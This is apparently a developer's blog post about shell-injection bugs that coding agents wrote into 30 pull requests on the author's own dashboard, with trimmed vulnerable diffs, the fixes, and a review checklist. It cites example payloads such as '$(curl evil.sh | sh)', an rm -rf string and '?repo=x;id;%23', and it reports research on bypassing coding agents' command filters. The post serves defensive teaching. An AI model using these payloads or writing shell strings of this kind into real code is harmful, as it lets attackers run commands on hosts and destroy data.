The Shell-Injection Bugs My Agents Wrote, and the 3 I Missed
Agents wrote 7 shell commands built from strings into 30 PRs on my own repo. Review fixed 4 and missed 3. The diffs, the fixes and the check I run now.
My Claude Code agents wrote 7 shell commands built from strings into 30 PRs on my own admin dashboard, and my review fixed 4 of them before merge. The 3 I missed took a longer path: one value reached the shell through a wrapper function, one came from a database row, and one lost its check to a rebase minutes after review added it.
The repo had no tests and no CI, so review was the only gate. The misses sat in the code for seven months, until a re-audit on 12 October 2026 found them and I fixed all 3 that day. This post counts shell strings only. Across every bug type, that re-audit found 5 security misses in the run: these 3 and two stored XSS sinks, all listed in the 30-PR case study.
The sketches below are trimmed from the real diffs, and each fix commit is named so the claim can be checked. The repo is private, so you can't click them, but I can show any of them on a call. For the wider picture, Veracode's 2026 GenAI Code Security Report (28 July 2026) found a known vulnerability in about 44% of AI code-generation tasks it tested.
Vuln 1: a job ID from the URL, straight into a shell
PR #112 added a "run now" button for cron jobs. The agent took the job ID from the URL path and built a command string:
// Trimmed from 237cfaa. Do not ship.
// id comes straight from the URL path.
const out = execSync(
`openclaw cron run "${id}"`,
);execSync runs its argument through /bin/sh. The quotes don't help: $(curl evil.sh | sh) runs inside double quotes, and x"; rm -rf /tmp/data; " closes them. Anyone holding the dashboard's API token, or anyone at all on a deployment with no token configured, could run a command on the host.
It was also a regression. A security fix in February had put an allowlist on that ID, and the agent's rewrite of the route deleted it. The ticket did ask for input safety: "sanitize job.id" and "use double quotes around ID in CLI command". The agent followed the second half literally, and double quotes are exactly what the payloads above get past. My reading is that it rewrote the route wholesale and the allowlist went with the old code.
The fix (10bf07e) put the allowlist back and passed the ID in an argument array, so no shell parses it. The Node.js child_process docs list which functions spawn a shell.
// From 10bf07e.
const SAFE_ID = /^[a-zA-Z0-9_-]+$/;
if (!SAFE_ID.test(id)) {
return NextResponse.json(
{ error: "Invalid job ID" },
{ status: 400 },
);
}
execFileSync("openclaw", ["cron", "run", id]);That regex still accepted an ID starting with a hyphen, so --help reached the CLI as a flag. I tightened it on 12 October (4b9d217): the first character must now be a letter, a digit or an underscore.
Vuln 2: a search query behind the agent's own filter, twice
PR #111 added log search. The agent ran the query through a regex and put what was left into a shell string:
// Trimmed from cf68b1a. The regex is the agent's own.
const q = query.replace(
/[^a-zA-Z0-9\s._-]/g,
"",
);
execSync(`rg --json "${q}" ./logs`);That regex is an allowlist. It strips $, quotes and backticks, everything a shell needs to get out of a double-quoted string, so as written it held. It keeps hyphens, so a query like --files still reached rg as a flag.
I treated it as a finding anyway, because one regex was the only thing between the request and the shell. The next day, on its own branch, an agent wrote memory search in PR #121 (d718495) and copied the same regex into the same pattern. The commit message called it "shell-safe query sanitization".
The same failure mode shows up one layer down, in the agents' own command filters: Adversa AI's GuardFall research, disclosed 30 June 2026, found 10 of 11 open-source coding agents vulnerable to at least one of five shell-injection bypass techniques, because their filters inspect text that bash rewrites before it runs (CSA research note, 11 July 2026).
The fix (42f1b03, b2d68a2): pass the query in an argument array to execFileSync, with no shell, so the filter is no longer the only thing in the way.
The fourth catch: a config value
PR #113 measured disk use with execSync(`du -sb "${config.workspaceDir}"`) (affddfd). The value came from the app's own config file, not from a request, so it was the hardest of the four to exploit. The fix (b290d1c) moved it to execFileSync with an argument array, same as the others.
What review missed
#98: a query string into gh, kept by the fix commit
PR #98 added an issues API for a project picker. The agent read repo, state and label from the query string and built a gh command from them:
// Trimmed from 0673fae. Fixed on 12 Oct 2026 in taco-console#127.
const repo = searchParams.get("repo");
let cmd = `issue list -R ${repo} --state ${state}`;
if (label) cmd += ` --label "${label}"`;
ghExec(cmd); // execSync(`gh ${cmd}`)?repo=x;id;%23 runs id and comments out the rest of the command. I reviewed this PR and asked for a cleanup. The fix commit (28f057d) moved ghExec into a shared helper, typed the route and removed every any. The command string came along unchanged. I found it on 12 October, seven months later, when an agent classifying every fix commit in the run listed it and I read the route again.
#109 and #117: values from storage
#109 runs gh pr view ${pr_number} -R ${project} through exec, with both values read from a database row. A background worker writes that row, so I read it as trusted. It isn't: anything that can write the row can run a command.
#117 sends a stored repo name into sh -c. Here review did its job, once. I asked for a format check, and the fix commit (ce70593) added validateRepo() and called it before every GitHub call. Then #118, rebased onto main and merged about three minutes after #117, removed the import and its only call. The deletion was in the #118 diff I approved. validateRepo stayed in the codebase with no callers until October.
Why each one got through is in the case study, along with the two stored XSS sinks from the same audit.
Why do agents write shell injection?
All 7 calls built the command by string interpolation. My guess at why: it's the shortest path to a command that works on the first try, and an agent working to a ticket stops when it works. Review caught 4 of them. Of the 3 it missed, one passed a request value to a wrapper function that added the shell, and two read their value from storage, one of them after a rebase deleted its check.
In October I gave the original commits, blind, to two AI reviewers: Claude Code's /code-review and a three-agent review panel. Both flagged #98 and #109. The full result is in a separate post, AI reviewers vs my review.
How do you review AI-generated code for shell injection?
- Grep the added lines for every way into a shell. This pattern found every call above, safe ones included:
git diff origin/main...HEAD -U0 | grep '^+' \ | grep -iE "exec[a-z]*\(|shell: true|sh', \['-c'" - Trace each interpolated value to where it was first accepted. Request, config and database values all count. A value in a shell string is a finding until it moves into an argument array.
- Read the fix commit as a new diff. A refactor that moves a shell string into a helper keeps the bug and makes it harder to find.
- Re-read a PR after it's rebased onto another merge. #118's rebase deleted a check #117 had just added, and the deletion was in the diff I approved.
- Write the negative test. If the repo has tests, they cover the happy path. Add one input with
;or$(and assert the command never ran.
What this means for a repo with agent-written PRs
3 of the 7 shell calls in this run got past my review. In each one the value went through a wrapper function, a database row or a rebase before it reached the shell. On these commits the grep in step 1 returned 1 to 4 lines each, so tracing every hit is a few minutes per PR (my estimate). It finds all 7 call sites; step 4 covers the rebase case, which a grep of added lines can't see. If your agents write code that reaches a shell, add that trace to review first. The other fixes review made on the same 30 PRs, sorted by type, are in how to review AI-generated code.
If you'd rather have a second reviewer do this on your repo, send me one: the free teardown below is a 15-minute video of what I'd block. Paid review starts at one PR, on my services page.
Questions
Does AI write insecure code?
Yes. In one run of 30 merged agent PRs on my own repo, agents wrote 7 shell commands built from strings. Review caught and fixed 3 of the 4 that took request input, plus one from config. It missed 3: one from a URL query string, one from database values and one from a stored repo name whose check another agent PR deleted. Veracode's 2026 GenAI Code Security Report (28 July 2026) found a known vulnerability in about 44% of AI code-generation tasks.
Do automated tests catch AI-written shell injection?
Not the ones in my run, and I can't measure how many they would have caught, because that repo had no tests. A test suite asserts behaviour on the inputs its author wrote. Shell injection needs a semicolon, a backtick or a $(...) in the input, and happy-path tests don't send those.
How do you review AI-generated code for shell injection?
Grep the added lines for every exec call, shell: true and sh -c, then trace each interpolated value back to where it was first accepted: the request, config or a database row. Any value in a shell string is a finding until it moves into an argument array. Check that a review fix commit didn't carry the string along unchanged.
What is shell injection in AI-generated code?
Untrusted input interpolated into a command string that a shell parses, through exec, execSync, sh -c or shell: true. A semicolon, a pipe, a backtick or $(...) in that input runs a second command. In my run, all 7 shell calls the agents wrote were built this way.
Free
Want this check run on your code?
Send a repo or a recent PR. I'll send back a 15-minute Loom of the security bugs your AI coding tools wrote that pass tests and merge anyway.